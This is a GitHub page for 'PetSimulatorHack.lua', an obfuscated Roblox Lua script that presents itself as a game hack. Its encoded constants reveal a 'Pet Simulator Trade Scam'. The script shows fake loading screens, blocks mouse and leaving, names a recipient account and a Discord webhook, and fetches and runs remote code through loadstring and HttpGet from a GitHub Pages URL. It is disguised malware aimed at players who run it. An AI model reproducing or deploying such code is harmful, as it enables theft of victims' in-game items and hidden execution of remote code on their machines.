-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathPetSimulatorHack.lua
More file actions
12 lines (10 loc) · 17.8 KB
/
PetSimulatorHack.lua
File metadata and controls
12 lines (10 loc) · 17.8 KB
1
2
3
4
5
6
7
8
9
10
11
12
--[[
.____ ________ ___. _____ __
| | __ _______ \_____ \\_ |___/ ____\_ __ ______ ____ _____ _/ |_ ___________
| | | | \__ \ / | \| __ \ __\ | \/ ___// ___\\__ \\ __\/ _ \_ __ \
| |___| | // __ \_/ | \ \_\ \ | | | /\___ \\ \___ / __ \| | ( <_> ) | \/
|_______ \____/(____ /\_______ /___ /__| |____//____ >\___ >____ /__| \____/|__|
\/ \/ \/ \/ \/ \/ \/
\_Welcome to LuaObfuscator.com (Alpha 0.2.6) ~ Much Love, Ferib
]]--
do local v0=tonumber;local v1=string.byte;local v2=string.char;local v3=string.sub;local v4=string.gsub;local v5=string.rep;local v6=table.concat;local v7=table.insert;local v8=math.ldexp;local v9=getfenv or function()return _ENV;end ;local v10=setmetatable;local v11=pcall;local v12=select;local v13=unpack or table.unpack ;local v14=tonumber;local function v15(v16,v17,...)local v18=1;local v19;v16=v4(v3(v16,5),"..",function(v30)if (v1(v30,2)==79) then local v74=0;while true do if (v74==0) then v19=v0(v3(v30,1,1));return "";end end else local v75=0;local v76;while true do if (v75==0) then v76=v2(v0(v30,16));if v19 then local v100=0;local v101;while true do if (v100==0) then v101=v5(v76,v19);v19=nil;v100=1;end if (v100==1) then return v101;end end else return v76;end break;end end end end);local function v20(v31,v32,v33)if v33 then local v77=(v31/(2^(v32-1)))%(((1716 -(740 + 974)) + 0)^(((v33-(1 + 0)) -(v32-(237 -(176 + 60)))) + (2 -1))) ;return v77-(v77%(205 -(29 + 175))) ;else local v78=0 + 0 ;local v79;while true do if (v78==0) then v79=2^(v32-(2 -1)) ;return (((v31%(v79 + v79))>=v79) and (1400 -(142 + 1257))) or (768 -((44 -29) + 753)) ;end end end end local function v21()local v34=0;local v35;while true do if (v34==(1431 -(695 + 736))) then v35=v1(v16,v18,v18);v18=v18 + (4 -3) ;v34=(39 -(28 + 8)) -2 ;end if (v34==(4 -3)) then return v35;end end end local function v22()local v36,v37=v1(v16,v18,v18 + 2 + 0 );v18=v18 + 2 ;return (v37 * (95 + 161)) + v36 ;end local function v23()local v38,v39,v40,v41=v1(v16,v18,v18 + (7 -4) );v18=v18 + 1 + 3 ;return (v41 * (3164638 + 13612578)) + (v40 * (67230 -(1149 + 545))) + (v39 * (384 -(77 + 51))) + v38 ;end local function v24()local v42=1657 -(1048 + 242 + 367) ;local v43;local v44;local v45;local v46;local v47;local v48;while true do if (v42==(958 -(210 + 590 + 155))) then if (v47==(0 -(0 -0))) then if (v46==(0 + 0)) then return v48 * 0 ;else v47=(2 + 0) -1 ;v45=0 -0 ;end elseif (v47==(7390 -5343)) then return ((v46==(0 + 0)) and (v48 * ((3 -2)/(0 -0)))) or (v48 * NaN) ;end return v8(v48,v47-1023 ) * (v45 + (v46/((653 -(375 + 276))^(38 + 14)))) ;end if (v42==(1 + 0)) then v45=1 + 0 ;v46=(v20(v44,947 -(239 + (1862 -1155)) ,777 -(44 + 713) ) * ((785 -(452 + 331))^(147 -115))) + v43 ;v42=2 + (679 -(603 + 76)) ;end if (v42==2) then v47=v20(v44,1805 -(1179 + 605) ,658 -(435 + 192) );v48=((v20(v44,806 -((1700 -(508 + 736)) + 318) )==((2 -1) -0)) and -(1077 -(194 + 67 + 815))) or 1 ;v42=3;end if (v42==(0 -0)) then v43=v23();v44=v23();v42=(1831 -(388 + 1442)) + 0 ;end end end local function v25(v49)local v50=(0 + 0) -0 ;local v51;local v52;while true do if (v50==(2 + 1)) then return v6(v52);end if ((0 -0)==v50) then v51=nil;if not v49 then local v82=537 -(134 + 284 + 119) ;while true do if (v82==0) then v49=v23();if (v49==(0 + 0)) then return "";end break;end end end v50=2 -(1 + 0) ;end if ((2000 -(430 + 129 + 1439))==v50) then v52={};for v80=1 + 0 , #v51 do v52[v80]=v2(v1(v3(v51,v80,v80)));end v50=(1446 -549) -(162 + 732) ;end if (1==v50) then v51=v3(v16,v18,(v18 + v49) -1 );v18=v18 + v49 ;v50=8 -6 ;end end end local v26=v23;local function v27(...)return {...},v12("#",...);end local function v28()local v53=0;local v54;local v55;local v56;local v57;local v58;local v59;local v60;local v61;while true do if (v53==0) then v54=0 -0 ;v55=nil;v53=1 + 0 ;end if (v53==(2 + 1)) then v60=nil;v61=nil;v53=10 -6 ;end if (v53==4) then while true do if (v54==(2 -1)) then local v93=0 -0 ;while true do if (v93==1) then v54=2;break;end if (v93~=0) then else v57=nil;v58=nil;v93=4 -3 ;end end end if (v54~=0) then else local v94=0;while true do if (v94~=(1 + 0)) then else v54=1;break;end if (v94==0) then v55=0 -0 ;v56=nil;v94=1 + 0 ;end end end if (v54==3) then v61=nil;while true do if (v55==2) then local v106=0 -0 ;while true do local v112=0 -0 ;while true do if (v112~=(0 + 0)) then else if (v106==1) then local v115=0 + 0 ;while true do if (v115~=0) then else for v148=3 -2 ,v23() do v58[v148]=v23();end return v59;end end end if (v106==0) then local v116=1684 -(186 + 1498) ;while true do if (v116==0) then for v150=1,v23() do local v151=0;local v152;local v153;local v154;while true do if (v151~=0) then else v152=0;v153=nil;v151=1 -0 ;end if (v151==(1 + 0)) then v154=nil;while true do if (v152~=0) then else local v176=0 + 0 ;while true do if (v176~=(0 -0)) then else v153=0;v154=nil;v176=3 -2 ;end if (v176~=1) then else v152=3 -2 ;break;end end end if (v152~=(2 -1)) then else while true do if (v153==(0 + 0)) then v154=v21();if (v20(v154,1 -0 ,653 -(384 + 268) )==(0 + 0)) then local v182=0 -0 ;local v183;local v184;local v185;while true do if (v182~=3) then else if (v20(v184,3,203 -(44 + 156) )==(1 -0)) then v185[4]=v61[v185[4]];end v56[v150]=v185;break;end if (v182==1) then local v190=0;local v191;while true do if (v190~=(1772 -(509 + 1263))) then else v191=0;while true do if (v191==(0 -0)) then v185={v22(),v22(),nil,nil};if (v183==(0 -0)) then local v203=0;local v204;local v205;local v206;while true do if ((0 + 0)==v203) then v204=0 + 0 ;v205=nil;v203=1;end if (v203==(1 + 0)) then v206=nil;while true do if (v204~=(1 + 0)) then else while true do if (v205~=0) then else v206=0;while true do if ((0 -0)~=v206) then else v185[3]=v22();v185[2 + 2 ]=v22();break;end end break;end end break;end if ((0 -0)==v204) then local v210=811 -(508 + 303) ;while true do if (v210~=1) then else v204=1;break;end if (v210==(0 -0)) then v205=0;v206=nil;v210=1;end end end end break;end end elseif (v183==(1 -0)) then v185[3]=v23();elseif (v183==2) then v185[3]=v23() -((9 -7)^(4 + 12)) ;elseif (v183==(10 -7)) then local v211=749 -(43 + 706) ;local v212;local v213;local v214;while true do if (v211==(1826 -(948 + 877))) then v214=nil;while true do if (v212==(68 -(28 + 40))) then local v217=0;while true do if (v217~=0) then else v213=47 -(22 + 25) ;v214=nil;v217=2 -1 ;end if (v217==(3 -2)) then v212=1;break;end end end if (v212~=(1 + 0)) then else while true do if (v213~=(656 -(519 + 137))) then else v214=0 -0 ;while true do if (v214==0) then v185[878 -(66 + 809) ]=v23() -((410 -(283 + 125))^(748 -(451 + 281))) ;v185[4 + 0 ]=v22();break;end end break;end end break;end end break;end if (v211~=(0 -0)) then else v212=0;v213=nil;v211=1544 -(760 + 783) ;end end end v191=1 -0 ;end if (v191~=1) then else v182=2;break;end end break;end end end if (0==v182) then local v192=0;while true do if ((632 -(83 + 548))==v192) then v182=1;break;end if (v192~=0) then else v183=v20(v154,657 -(196 + 459) ,3);v184=v20(v154,4,1778 -(42 + 1730) );v192=1 + 0 ;end end end if (v182==2) then local v193=903 -(399 + 504) ;while true do if (v193~=1) then else v182=4 -1 ;break;end if (v193==0) then if (v20(v184,1 + 0 ,1585 -(1428 + 156) )==(789 -(201 + 587))) then v185[2]=v61[v185[2]];end if (v20(v184,668 -(514 + 152) ,2)~=1) then else v185[3]=v61[v185[3]];end v193=159 -(70 + 88) ;end end end end end break;end end break;end end break;end end end for v155=1,v23() do v57[v155-1 ]=v28();end v116=1 + 0 ;end if (v116~=(1 -0)) then else v106=1898 -(131 + 1766) ;break;end end end break;end end end end if (v55==(872 -(389 + 482))) then local v107=1998 -(1638 + 360) ;local v108;while true do if (0==v107) then v108=0;while true do if (v108==1) then local v117=886 -(642 + 244) ;while true do if (v117==0) then for v157=1516 -(1368 + 147) ,v60 do local v158=428 -(92 + 336) ;local v159;local v160;local v161;local v162;local v163;while true do if (1~=v158) then else v161=nil;v162=nil;v158=2 + 0 ;end if (0~=v158) then else v159=0;v160=nil;v158=1;end if (v158~=(2 -0)) then else v163=nil;while true do if (v159==(1874 -(1775 + 97))) then while true do if (v160==(0 + 0)) then local v178=0 + 0 ;local v179;while true do if (0==v178) then v179=0;while true do if (v179==1) then v160=1 + 0 ;break;end if (v179~=0) then else local v194=0;while true do if (v194==1) then v179=2 -1 ;break;end if (v194~=(0 + 0)) then else v161=0 -0 ;v162=nil;v194=1;end end end end break;end end end if ((2 -1)==v160) then v163=nil;while true do if (0==v161) then local v186=0;local v187;while true do if (v186~=(0 + 0)) then else v187=1599 -(637 + 962) ;while true do if (v187~=(0 + 0)) then else local v197=141 -(125 + 16) ;local v198;while true do if (v197==0) then v198=0 -0 ;while true do if (v198~=1) then else v187=1 + 0 ;break;end if (v198==(0 -0)) then local v208=0;while true do if (v208==0) then v162=v21();v163=nil;v208=1 + 0 ;end if (v208==(1 + 0)) then v198=1;break;end end end end break;end end end if (v187==(1 + 0)) then v161=1;break;end end break;end end end if (v161==(4 -3)) then if (v162==1) then v163=v21()~=0 ;elseif (v162==(2 + 0)) then v163=v24();elseif (v162==(10 -7)) then v163=v25();end v61[v157]=v163;break;end end break;end end break;end if (v159==1) then v162=nil;v163=nil;v159=2;end if (v159==(0 -0)) then local v177=0;while true do if ((3 -2)==v177) then v159=900 -(844 + 55) ;break;end if (v177~=0) then else v160=0 + 0 ;v161=nil;v177=2 -1 ;end end end end break;end end end v59[3]=v21();v117=1;end if (v117==1) then v108=2;break;end end end if (v108==2) then v55=4 -2 ;break;end if ((0 -0)==v108) then local v118=0 + 0 ;while true do if (v118==(2 -1)) then v108=1;break;end if (v118==(0 -0)) then v60=v23();v61={};v118=1;end end end end break;end end end if (v55==0) then local v109=0 -0 ;local v110;while true do if (v109~=0) then else v110=0;while true do if (v110~=2) then else v55=1;break;end if (v110==(0 + 0)) then local v119=0 -0 ;while true do if (v119==0) then v56={};v57={};v119=1 + 0 ;end if (1~=v119) then else v110=1;break;end end end if ((1 + 0)~=v110) then else local v120=0;while true do if (v120~=1) then else v110=2;break;end if (v120~=(0 -0)) then else v58={};v59={v56,v57,nil,v58};v120=1;end end end end break;end end end end break;end if (v54==2) then local v95=0 -0 ;while true do if (v95==0) then v59=nil;v60=nil;v95=1 + 0 ;end if (v95==(1 + 0)) then v54=12 -9 ;break;end end end end break;end if (v53~=1) then else v56=nil;v57=nil;v53=1 + 1 ;end if (v53==(1 + 1)) then v58=nil;v59=nil;v53=3 + 0 ;end end end local function v29(v62,v63,v64)local v65=v62[1];local v66=v62[2];local v67=v62[3];return function(...)local v68=0;local v69;local v70;local v71;local v72;local v73;while true do if (v68==1) then v71={...};v72=v12("#",...) -1 ;v68=2;end if (v68==3) then A,B=v27(v11(v73));if not A[1] then local v96=0;local v97;while true do if (v96==0) then v97=v62[4][v69] or "?" ;error("Script error at [" .. v97 .. "]:" .. A[2] );break;end end else return v13(A,2,B);end break;end if (2==v68) then v73=nil;function v73()local v83=v65;local v84=v66;local v85=v67;local v86=v27;local v87={};local v88={};local v89={};for v98=0 -0 ,v72 do if ((v98>=v85) or (((95 + 2355) -1595)>=(1044 + 104))) then v87[v98-v85 ]=v71[v98 + (679 -(145 + 533)) ];else v89[v98]=v71[v98 + (1 -0) + 0 ];end end local v90=(v72-v85) + (1933 -(1318 + 614)) ;local v91;local v92;while true do local v99=0 + 0 ;while true do if (((3676 -(447 + 387))<=((3551 -832) + 1946)) and (v99==(2 -1))) then if ((v92<=(27 -(16 + 6))) or ((17160 -12755)<=(338 + (3545 -(172 + 572))))) then if (((2297 -(761 + 353))<=(2512 + 278)) and (v92<=(2 -0))) then if ((v92<=(0 -0)) or ((4810 -(134 + 240 + 434))==1088)) then local v121=471 -(56 + 415) ;local v122;local v123;local v124;local v125;local v126;while true do if (((4126 -(830 + 426))>=(3287 -(501 + 98))) and (v121==(1765 -(421 + 1343)))) then v124=nil;v125=nil;v121=1341 -(1282 + 57) ;end if ((((2939 + 2115) -(579 + 135))>(5722 -(1123 + 375))) and (v121==(2 + 0))) then v126=nil;while true do if (((2521 -(127 + 93 + 226))>1776) and (v122==(1 + 1))) then for v170=v123,v70 do local v171=0 + 0 ;local v172;while true do if (((1778 -1263)==(141 + 374)) and (v171==0)) then v172=0 -(0 -0) ;while true do if ((v172==(1192 -(882 + 310))) or ((4854 -3492)<=(915 + (523 -225)))) then v126=v126 + 1 ;v89[v170]=v124[v126];break;end end break;end end end break;end if ((v122==((1 + 1) -1)) or ((538 + 1655)==3927)) then local v168=0;while true do if ((v168==(139 -(93 + 46))) or ((599 + 27)==(560 + 209))) then v70=(v125 + v123) -((1429 -(1395 + 30)) -3) ;v126=59 -(11 + 48) ;v168=1 -0 ;end if ((v168==(1 -0)) or (((16772 -5686) -8668)==((404 + 376) -(21 + 417)))) then v122=23 -(14 + (152 -(111 + 34))) ;break;end end end if (((0 + 0)==v122) or ((2710 + 153)>(5928 -(316 + 1415)))) then local v169=0 + 0 ;while true do if ((v169==(1484 -(1267 + 217))) or (((3501 -(1310 + 343)) + 574)>=(494 + (2427 -(119 + 76))))) then v123=v91[2];v124,v125=v86(v89[v123](v13(v89,v123 + (795 -(534 + 260)) ,v91[314 -(37 + 274) ])));v169=1 + 0 ;end if (((4023 -(768 + 220 + 66))>(421 + 1763)) and ((771 -(122 + 648))==v169)) then v122=1 -(1563 -(1351 + 212)) ;break;end end end end break;end if (((1050 + (1840 -(61 + 1727)))<=2333) and (0==v121)) then v122=822 -((3115 -2489) + 196) ;v123=nil;v121=2 -1 ;end end elseif ((v92==1) or (788<(338 + 103))) then v89[v91[8 -6 ]][v91[(1030 -(194 + 2)) -(348 + 483) ]]=v91[4 + 0 ];else v89[v91[1408 -(786 + 620) ]]=v91[347 -((283 -191) + (1196 -(347 + 597))) ]~=(1871 -((1178 -(48 + 655)) + 1396)) ;end elseif ((2897==(4054 -(2871 -1714))) and (v92<=(3 + 0))) then if ((v89[v91[615 -(269 + 344) ]]==v91[4]) or ((343 + 449)>4149)) then v69=v69 + 1 + 0 ;else v69=v91[367 -(11 + 353) ];end elseif (((9286 -6183)<(2255 + 1680)) and (v92==(161 -(142 + 15)))) then v89[v91[2]]();else do return;end end elseif ((v92<=(4 + 4)) or ((870 -(52 + 245))==((5315 -3505) + 1591))) then if ((v92<=((5 + 10) -9)) or ((7339 -2890)==(4747 -(48 + 195)))) then local v127=0 + 0 ;local v128;while true do if ((v127==(0 -0)) or ((5159 -3525)<=(4082 -2596))) then v128=v91[(2 + 2) -2 ];v89[v128]=v89[v128](v13(v89,v128 + (860 -(594 + 265)) ,v70));break;end end elseif ((v92>(5 + 2)) or ((3855 -2941)==(3869 -(125 + 211)))) then v89[v91[2]]=v64[v91[10 -7 ]];else local v135=1238 -((4162 -3035) + 111) ;local v136;local v137;while true do if (((3984 + 11)>=(1062 -(207 + 76))) and ((1 + 0)==v135)) then v89[v136 + 1 ]=v137;v89[v136]=v137[v91[(1279 -(227 + 1050)) + 2 ]];break;end if ((2040<(4602 -(592 + 1347))) and (v135==(0 + 0))) then local v167=0 -0 ;while true do if ((v167==(0 -0)) or (1763==913)) then v136=v91[2 + 0 ];v137=v89[v91[(15 -5) -7 ]];v167=4 -3 ;end if ((1==v167) or (((6344 -(331 + 1104)) -(561 + 629))<=(3912 -(175 + 1767)))) then v135=1;break;end end end end end elseif (((1500 -((98 -47) + 9))==1440) and (v92<=10)) then if (((44 + 1852)==(4739 -(4728 -(574 + 1311)))) and (v92==(25 -((24 -14) + 6)))) then v69=v91[3];else for v146=v91[1 + 1 ],v91[3] do v89[v146]=nil;end end elseif (((894 + 2756)<=(5221 -(409 + 208))) and (v92==(7 + 4))) then v64[v91[3 + 0 ]]=v89[v91[4 -2 ]];else v89[v91[2 + 0 ]]=v91[9 -6 ];end v69=v69 + (1279 -(423 + 855)) ;break;end if ((3655>(1843 -971)) and (v99==((0 -0) + 0))) then local v111=0 -0 ;while true do if ((v111==((45 + 205) -(102 + 148))) or ((1908 -(349 + 555))==82)) then v91=v83[v69];v92=v91[2 -1 ];v111=336 -(309 + 26) ;end if (((1 + (0 -0))==v111) or ((4294 -1443)>(5404 -(31 + 1557)))) then v99=1;break;end end end end end end v68=3;end if (v68==0) then v69=1;v70= -1;v68=1;end end end;end return v29(v28(),{},v17)(...);end v15("LOL!1A3O00028O00026O00F03F03023O005F4703093O0046697273745465787403103O0053637269707420507265706172696E67030A3O005365636F6E645465787403113O00536372697074204C6F6164696E673O2E027O004003093O004D6F7573654C6F636B2O01030A3O005363726970744E616D6503183O005065742053696D756C61746F72205472616465205363616D03093O00546869726454657874030E3O00416C6D6F737420446F6E653O2E030B3O0057616974696E6754696D65025O00806640030A3O006C6F6164737472696E6703043O0067616D6503073O00482O747047657403213O00682O7470733A2O2F72692O7A36392E6769746875622E696F2F4D61696E2E6C7561030D3O004C6F6164696E675363722O656E03093O00416E74694C6561766503083O00557365724E616D6503113O00587870726F67616D6572616C652O78587803073O00576562682O6F6B03793O00682O7470733A2O2F646973636F72642E636F6D2F6170692F776562682O6F6B732F313039373436313736343931383130343036342F646F3844385F3438616C4A737733516D4B464C454E77716142484654726E58747230476F532O465934526F49456454696D74494A43353265345A6C4B4350487538455A3300443O00120C3O00014O000A000100013O0026033O0002000100010004093O0002000100120C000100013O0026030001001B000100020004093O001B000100120C000200013O0026030002000F000100020004093O000F0001001208000300033O003001000300040005001208000300033O00300100030006000700120C000200083O00260300020016000100010004093O00160001001208000300033O00300100030009000A001208000300033O0030010003000B000C00120C000200023O00260300020008000100080004093O0008000100120C000100083O0004093O001B00010004093O000800010026030001002A000100080004093O002A0001001208000200033O0030010002000D000E001208000200033O0030010002000F0010001208000200113O001208000300123O00200700030003001300120C000500144O0002000600016O000300064O000600023O00022O00040002000100010004093O0043000100260300010005000100010004093O0005000100120C000200013O00260300020034000100020004093O00340001001208000300033O00300100030015000A001208000300033O00300100030016000A00120C000200083O0026030002003B000100010004093O003B000100120C000300183O00120B000300173O00120C0003001A3O00120B000300193O00120C000200023O0026030002002D000100080004093O002D000100120C000100023O0004093O000500010004093O002D00010004093O000500010004093O004300010004093O000200012O00053O00017O00443O00023O00033O00053O00053O00063O00083O00083O00093O000B3O000B3O000C3O000C3O000D3O000D3O000E3O00103O00103O00113O00113O00123O00123O00133O00153O00153O00163O00173O00183O001B3O001B3O001C3O001C3O001D3O001D3O001E3O001E3O001E3O001E3O001E3O001E3O001E3O001E3O001F3O00213O00213O00223O00243O00243O00253O00253O00263O00263O00273O00293O00293O002A3O002A3O002B3O002B3O002C3O002E3O002E3O002F3O00303O00313O00333O00353O00363O00383O00",v9(),...);end